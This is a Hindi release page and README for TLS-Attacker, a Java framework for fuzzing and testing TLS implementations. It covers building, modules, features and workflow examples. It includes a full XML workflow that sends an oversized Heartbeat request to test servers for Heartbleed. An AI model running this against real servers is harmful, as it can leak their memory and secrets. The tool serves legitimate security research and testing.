अपडेट पर वापस जाएँ
New releaseJul 31, 2026

TLS-Attacker v7.0.0-rtc

जावा-आधारित फ्रेमवर्क TLS लाइब्रेरीज़ के व्यवस्थित फज़िंग और विश्लेषण के लिए। मनमाना प्रोटोकॉल संदेश निर्माण, संशोधन, और भेद्यता खोज के लिए TLS क्लाइंट/सर्वर के परीक्षण को सक्षम करता है।

साझा करें

TLS-Attacker

GitHub release (latest by date) licence Build Status

TLS-Attacker एक Java-आधारित फ्रेमवर्क है जो TLS लाइब्रेरीज़ का विश्लेषण करने के लिए डिज़ाइन किया गया है। यह TLS पीयर को किसी भी क्रम में मनमाने प्रोटोकॉल संदेश भेजने और एक प्रदान किए गए इंटरफ़ेस का उपयोग करके उनमें संशोधन को परिभाषित करने में सक्षम है। यह डेवलपर को आसानी से एक कस्टम TLS प्रोटोकॉल प्रवाह को परिभाषित करने और अपनी TLS लाइब्रेरी के विरुद्ध इसका परीक्षण करने का अवसर देता है।

कृपया ध्यान दें: TLS-Attacker एक शोध उपकरण है जो TLS डेवलपर्स और पेंटेस्टर्स के लिए है। इसमें कोई GUI या हरे/लाल बत्तियाँ नहीं हैं।

संकलन और चलाना

TLS-Attacker को संकलित और उपयोग करने के लिए, आपके पास Java और Maven स्थापित होना चाहिए। Ubuntu पर आप Maven को निम्नलिखित कमांड चलाकर स्थापित कर सकते हैं:

$ sudo apt-get install maven

TLS-Attacker को वर्तमान में चलाने के लिए Java JDK 21 की आवश्यकता है।

यदि आपके पास सही Java संस्करण है, तो आप TLS-Attacker निर्देशिका से Maven कमांड चला सकते हैं:

$ git clone https://github.com/tls-attacker/TLS-Attacker.git
$ cd TLS-Attacker
$ mvn clean install

वैकल्पिक रूप से, यदि आप जल्दी में हैं, तो आप परीक्षणों को छोड़ने के लिए निम्नलिखित का उपयोग कर सकते हैं:

$ mvn clean install -DskipTests=true

परिणामी jar फ़ाइलें "apps" फ़ोल्डर में रखी जाती हैं।

यदि आप इस प्रोजेक्ट को एक निर्भरता के रूप में उपयोग करना चाहते हैं, तो आपको इसे स्वयं संकलित करने की आवश्यकता नहीं है और इसे अपने pom.xml में निम्नानुसार शामिल कर सकते हैं।

<dependency>
    <groupId>de.rub.nds.tls.attacker</groupId>
    <artifactId>tls-attacker</artifactId>
    <version>7.0.0</version>
    <type>pom</type>
</dependency>

TLS-Attacker डेमो एप्लिकेशन के साथ आता है जो आपको TLS-Attacker कार्यक्षमता तक आसान पहुँच प्रदान करते हैं।

आप TLS-Attacker को क्लाइंट के रूप में निम्नलिखित कमांड से चला सकते हैं:

$ cd apps
$ java -jar TLS-Client.jar -connect [host:port]

या सर्वर के रूप में:

$ java -jar TLS-Server.jar -port [port]

हालाँकि ये उदाहरण एप्लिकेशन स्वयं में बहुत शक्तिशाली हैं, TLS-Attacker अपनी पूरी क्षमता तब प्रकट करता है जब इसे एक प्रोग्रामिंग लाइब्रेरी के रूप में उपयोग किया जाता है।

कोड संरचना

TLS-Attacker कई (maven) प्रोजेक्टों से मिलकर बना है:

  • TLS-Client: क्लाइंट उदाहरण एप्लिकेशन
  • TLS-Core: प्रोटोकॉल स्टैक और TLS-Attacker का हृदय
  • TLS-Mitm: MitM वर्कफ़्लो के लिए एक प्रोटोटाइप
  • TLS-Server: सर्वर उदाहरण एप्लिकेशन
  • TLS-Proxy: SSLSockets के लिए TLS-Attacker का उपयोग करें
  • TraceTool: TLS-Attacker वर्कफ़्लो ट्रेस का निरीक्षण और संशोधन
  • Transport: निचली परतों के लिए परिवहन उपयोगिताएँ
  • Utils: उपयोगिता वर्गों का संग्रह

TLS-Attacker design

आप इन मॉड्यूल के बारे में अधिक जानकारी विकी में पा सकते हैं।

सुविधाएँ

वर्तमान में, निम्नलिखित सुविधाएँ समर्थित हैं:

  • SSL 3, TLS संस्करण 1.0 (RFC-2246), 1.1 (RFC-4346), 1.2 (RFC-5246), और 1.3 (RFC-8446)
  • SSL 2 (आंशिक रूप से समर्थित)
  • (EC)DH(E), RSA, PSK, SRP, GOST और ANON कुंजी विनिमय एल्गोरिदम
  • CBC, AEAD और स्ट्रीम सिफर (AES, CAMELLIA, DES, 3DES, IDEA, RC2, ARIA, GOST_28147_CNT_IMIT, RC4, SEED, NULL)
  • ~300 सिफर सुइट्स, ~30 एक्सटेंशन
  • क्लाइंट और सर्वर
  • HTTPS
  • दो से अधिक पक्षों वाले वर्कफ़्लो
  • बहुत सारे एक्सटेंशन
  • टोकनबाइंडिंग (EC) और HTTP पर टोकनबाइंडिंग
  • सॉकेट
  • TLS 1.3 0-RTT
  • STARTTLS
  • ...

उपयोग

यहाँ हम TLS-Attacker का उपयोग करने के कुछ बहुत ही सरल उदाहरण प्रस्तुत कर रहे हैं।

पहले, आपको एक TLS सर्वर शुरू करना होगा (कृपया सार्वजनिक सर्वर का उपयोग न करें)। यदि पहले नहीं किया गया है तो कृपया keygen.sh स्क्रिप्ट चलाएँ। उदाहरण के लिए, आप एक OpenSSL टेस्ट सर्वर का उपयोग कर सकते हैं:

$ cd TLS-Attacker/resources
$ openssl s_server -key rsa1024key.pem -cert rsa1024cert.pem

यह कमांड पोर्ट 4433 पर एक TLS सर्वर शुरू करता है।

यदि आप किसी सर्वर से कनेक्ट करना चाहते हैं, तो आप इस कमांड का उपयोग कर सकते हैं:

$ cd TLS-Attacker/apps
$ java -jar TLS-Client.jar -connect localhost:4433

नोट: यदि यह हैंडशेक विफल होता है, तो संभवतः इसलिए क्योंकि आपने कोई ठोस सिफर सूट निर्दिष्ट नहीं किया है। TLS-Attacker सर्वर द्वारा चयनित सिफर सूट का पूरी तरह से सम्मान नहीं करेगा।

आप निम्नलिखित पैरामीटर के साथ एक अलग सिफर सूट, TLS संस्करण, या किसी भिन्न पोर्ट से कनेक्ट कर सकते हैं:

$ java -jar TLS-Client.jar -connect localhost:4433 -cipher TLS_RSA_WITH_AES_256_CBC_SHA -version TLS11

यदि आप एक अधिक अनुभवी डेवलपर हैं, तो आप Java कोड लिखकर अपना स्वयं का TLS संदेश प्रवाह बना सकते हैं। उदाहरण के लिए:

Config config = Config.createConfig();
WorkflowTrace trace = new WorkflowTrace();
trace.addTlsAction(new SendAction(new ClientHelloMessage()));
trace.addTlsAction(new ReceiveAction(new ServerHelloMessage()));
State state = new State(config, trace);
DefaultWorkflowExecutor executor = new DefaultWorkflowExecutor(state);
executor.executeWorkflow();

TLS-Attacker एक "TLS संदेश प्रवाह" को परिभाषित करने के लिए WorkflowTraces की अवधारणा का उपयोग करता है। एक WorkflowTrace क्रियाओं की एक सूची से मिलकर बना होता है जिन्हें एक के बाद एक निष्पादित किया जाता है। हालाँकि एक सामान्य "TLS संदेश प्रवाह" के लिए केवल SendAction और ReceiveAction की आवश्यकता होती है, फ्रेमवर्क यहाँ नहीं रुकता और कई अन्य अलग-अलग क्रियाओं को लागू करता है जिनका उपयोग और भी अधिक मनमाने संदेश प्रवाहों को निष्पादित करने के लिए किया जा सकता है। वर्तमान में लागू क्रियाओं की सूची और स्पष्टीकरण विकी में मिल सकते हैं।

हम जानते हैं कि आप में से कई लोग Java से नफरत करते हैं। इसलिए, आप एक XML संरचना का भी उपयोग कर सकते हैं और अपने अनुकूलित TLS प्रोटोकॉल को XML से चला सकते हैं:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workflowTrace>
    <!-- Send ClientHello -->
    <Send>
        <configuredMessages>
            <ClientHello>
                <extensions>
                    <ECPointFormat/>
                    <EllipticCurves/>
                    <SignatureAndHashAlgorithmsExtension/>
                    <RenegotiationInfoExtension/>
                </extensions>
            </ClientHello>
        </configuredMessages>
        <configuredRecords>
            <record/>
        </configuredRecords>
    </Send>
    
    <!-- Receive server response -->
    <Receive>
        <expectedMessages>
            <ServerHello>
                <extensions>
                    <ECPointFormat/>
                    <RenegotiationInfoExtension/>
                </extensions>
            </ServerHello>
            <Certificate/>
            <ServerHelloDone/>
        </expectedMessages>
    </Receive>
    
    <!-- Send client key exchange and finish -->
    <Send>
        <configuredMessages>
            <RSAClientKeyExchange/>
            <ChangeCipherSpec/>
            <Finished/>
        </configuredMessages>
        <configuredRecords>
            <record/>
            <record/>
            <record/>
        </configuredRecords>
    </Send>
    
    <!-- Receive server finish -->
    <Receive>
        <expectedMessages>
            <ChangeCipherSpec/>
            <Finished/>
        </expectedMessages>
    </Receive>
</workflowTrace>

यह मानते हुए कि यह XML संरचना TLS-Attacker/apps/workflow.xml में स्थित है, आपको केवल निष्पादित करने की आवश्यकता होगी:

$ java -jar TLS-Client.jar -connect [host]:[port] -workflow_input workflow.xml

प्रोटोकॉल-अटैकर/लेयर सिस्टम

मूल रूप से TLS प्रोटोकॉल पर हमला करने के लिए डिज़ाइन किया गया, TLS-Attacker मनमाने प्रोटोकॉल का समर्थन करने में सक्षम है। इसके लिए, TLS-Attacker प्रत्येक कनेक्शन को एक लेयर स्टैक निर्दिष्ट करता है। यह लेयर स्टैक विभिन्न प्रोटोकॉल लेयर्स से मिलकर बना होता है जिनका उपयोगकर्ता उपयोग करना चाहता है। लेयर स्टैक के साथ, उपयोगकर्ता DTLS, या HTTP (अधिक WIP हैं) जैसी लेयर्स को किसी भी क्रम में जोड़ सकता है।

लेयर स्टैक का उपयोग करके मनमाने संदेश भेजने और प्राप्त करने के लिए, उपयोगकर्ता प्रत्येक लेयर के लिए कॉन्फ़िगरेशन परिभाषित कर सकता है। ये कॉन्फ़िगरेशन निर्दिष्ट करते हैं कि कौन से संदेश भेजने या प्राप्त करने हैं। यह उपयोगकर्ता को प्रत्येक लेयर के लिए लेयर-विशिष्ट संदेश/डेटा कंटेनर निर्दिष्ट करने की भी अनुमति देता है। उदाहरण के लिए, कोई व्यक्ति उन TLS संदेशों और रिकॉर्ड को निर्दिष्ट कर सकता है जो TLS-Attacker को भेजने चाहिए। TLS-Attacker दिए गए TLS संदेशों को स्वचालित रूप से रिकॉर्ड में एनकैप्सुलेट करेगा।

संशोधनीय चर

TLS-Attacker पूर्वनिर्धारित वर्कफ़्लो में रनटाइम संशोधन की अनुमति देने के लिए Modifiable Variables की अवधारणा का उपयोग करता है। संशोधनीय चर किसी को बुनियादी प्रकारों में उनके मान वास्तव में सेट होने के बाद या पहले संशोधन सेट करने की अनुमति देते हैं। जब उनके वास्तविक मान निर्धारित होते हैं और कोई गेटर्स के माध्यम से मान तक पहुँचने का प्रयास करता है, तो मूल मान तदनुसार संशोधित रूप में लौटाया जाएगा। इस अवधारणा के बारे में अधिक विवरण https://github.com/tls-attacker/ModifiableVariable पर पाए जा सकते हैं।

ModifiableInteger i = new ModifiableInteger();
i.setOriginalValue(30);
i.setModification(new AddModification(20));
System.out.println(i.getValue());  // 50

इस उदाहरण में, हमने एक नया ModifiableInteger परिभाषित किया और इसका मान 30 पर सेट किया। इसके बाद, हमने एक नया संशोधन AddModification परिभाषित किया जो केवल दो पूर्णांकों का योग लौटाता है। हमने इसका मान 20 सेट किया। यदि हम उपरोक्त प्रोग्राम को निष्पादित करते हैं, तो परिणाम 50 मुद्रित होता है।

बेशक हम अपने TLS वर्कफ़्लो के निर्माण द्वारा इस अवधारणा का उपयोग कर सकते हैं। कल्पना करें कि आप किसी सर्वर का हार्टब्लीड भेद्यता के लिए परीक्षण करना चाहते हैं। इस उद्देश्य के लिए, आपको हार्टबीट अनुरोध में पेलोड लंबाई बढ़ाने की आवश्यकता है। TLS-Attacker के साथ, आप इसे निम्नानुसार कर सकते हैं:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workflowTrace>
    <Send>
        <configuredMessages>
            <ClientHello>
                <extensions>
                    <ECPointFormat/>
                    <HeartbeatExtension/>
                    <EllipticCurves/>
                </extensions>
            </ClientHello>
        </configuredMessages>
    </Send>
    <Receive>
        <expectedMessages>
            <ServerHello>
                <extensions>
                    <ECPointFormat/>
                </extensions>
            </ServerHello>
            <Certificate/>
            <ServerHelloDone/>
        </expectedMessages>
    </Receive>
    <Send>
        <configuredMessages>
            <RSAClientKeyExchange>
                <computations/>
            </RSAClientKeyExchange>
            <ChangeCipherSpec/>
            <Finished/>
        </configuredMessages>
    </Send>
    <Receive>
        <expectedMessages>
            <ChangeCipherSpec/>
            <Finished/>
        </expectedMessages>
    </Receive>
    <Send>
        <configuredMessages>
            <Heartbeat>
                <payloadLength>
                    <modifications>
                        <integerExplicitValueModification>
                            <explicitValue>20000</explicitValue>
                        </integerExplicitValueModification>
                    </modifications>
                </payloadLength>
            </Heartbeat>
        </configuredMessages>
    </Send>
    <Receive>
        <expectedMessages>
            <Heartbeat/>
        </expectedMessages>
    </Receive>
</workflowTrace>

जैसा कि आप देख सकते हैं, हमने स्पष्ट रूप से हार्टबीट संदेश की पेलोड लंबाई को 20000 तक बढ़ा दिया है। यदि आप भेद्य सर्वर (जैसे, OpenSSL 1.0.1f) के विरुद्ध हमला चलाते हैं, तो आपको एक वैध हार्टबीट प्रतिक्रिया दिखनी चाहिए।

हमलों पर आगे के उदाहरण और TLS-Attacker पर आगे की स्पष्टीकरण विकी में मिल सकते हैं।

उन्नत सुविधाएँ

कुछ क्रियाओं को सही ढंग से निष्पादित करने के लिए संदर्भ या कॉन्फ़िगरेशन की आवश्यकता होती है। उदाहरण के लिए, यदि TLS-Attacker एक ClientHello संदेश भेजने का प्रयास करता है, तो उसे यह जानना होगा कि संदेश में कौन से मान रखने हैं, जैसे, कौन से सिफर सूट या किस प्रोटोकॉल संस्करण का उपयोग करना है। TLS-Attacker यह जानकारी एक कॉन्फ़िगरेशन फ़ाइल (डिफ़ॉल्ट रूप से TLS-Core/src/main/resources/default_config.xml में स्थित) से लेता है। रनटाइम पर निर्धारित मान TlsContext में संग्रहीत होते हैं। जब कोई मान जो सामान्यतः संदर्भ से चुना जाता है, गायब है (क्योंकि कोई संदेश अभी तक प्राप्त नहीं हुआ है), तो Config से डिफ़ॉल्ट मान चुना जाता है। आप कमांड लाइन से "-config" पैरामीटर के साथ अपनी स्वयं की कॉन्फ़िगरेशन फ़ाइल निर्दिष्ट कर सकते हैं। ध्यान दें कि यदि आप कॉन्फ़िग फ़ाइल में स्पष्ट रूप से कोई डिफ़ॉल्ट मान परिभाषित नहीं करते हैं, तो TLS-Attacker इस अंतर को हार्डकोडेड मानों (जो प्रदान की गई डिफ़ॉल्ट कॉन्फ़िग के बराबर हैं) से भर देता है। TLS-Attacker को अनुकूलित करने के तरीके के बारे में अधिक विवरण विकी में पाए जा सकते हैं।

आभार

हम उन सभी को धन्यवाद देना चाहेंगे जिन्होंने TLS-Attacker प्रोजेक्ट में योगदान दिया है।

एक विशेष धन्यवाद निम्नलिखित लोगों को उनके उल्लेखनीय योगदान के लिए जाता है:

Muhammad Abubakar, Fabian Albert, Panneer Selvam Annadurai, Nimrod Aviram, Philipp Brinkmann, Till Budde, Florian Bürger, Christoph Buttler, Jens Carl, Raphael Dietrich, Felix Dreissig, Bastian Ebach, Malena Ebert, Robert Engel, Nils Engelbertz, Paul Fiterau Brostean, Janis Fliegenschmidt, Alexander Freiherr von Buddenbrock, Matthias Manfred Geuchen, Alexander Glasfort, Nils Hanke, Lucas Hartmann, Bastian Haverkamp, Nico Heitmann, Jannik Hölling, Selami Hoxha, Kevin Jagla, Nils Kafka, Jan Kaiser, Anton Khristoforov, Felix Kleine-Wilde, Mario Korth, Sebastian Krois, Christian Krug, Florian Linsner, Christian Mainka, Jonas Moos, Simon Nachtigall, Simon Nattefort, Philipp Nieting, Niels Pahl, Christoph Penkert, Florian Pfützenreuter, Adrian Pinner, Malte Poll, Christian Pressler, Tim Reisach, Philip Riese, Nils Luca Rudminat, Henrik Schaefer, Marten Schmidt, Conrad Schmidt, Daniel Siegert, Tim Storm, Rigers Sulku, Bjarne Tempel, Matthias Terlinde, Jonas Thiele, Pierre Tilhaus, Joshua Waldner, Patrick Weixler, Philipp Wirth, Asli Yardim, Dennis Ziebart, David Ziemann, Philipp Ziemke

आगे के योगदान और पुल अनुरोधों का स्वागत है।

वैज्ञानिक पेपर

TLS-Attacker के पीछे की बुनियादी अवधारणाओं और कई हमलों का वर्णन निम्नलिखित पेपर में किया गया है:

नीचे, हम हाल के वैज्ञानिक अध्ययनों को सूचीबद्ध करते हैं जिन्होंने TLS-Attacker का उपयोग किया है। आप पूरी सूची विकी में पा सकते हैं।

यदि आपके पास कोई शोध विचार है या समर्थन की आवश्यकता है, तो बेझिझक हमसे Twitter पर संपर्क करें (@ic0nz1 , @jurajsomorovsky , @marcelmaehren , @nerinola1 , @JonSnowWhite2) या https://www.hackmanit.de/ पर।

यदि TLS-Attacker आपको किसी TLS कार्यान्वयन में बग खोजने में मदद करता है, तो कृपया इस उपकरण को स्वीकार करें। धन्यवाद!

और पढ़ें

श्रेणियाँ

भेद्यता विश्लेषणफज़िंगनेटवर्क सुरक्षाक्रिप्टोग्राफीपेनिट्रेशन टेस्टिंग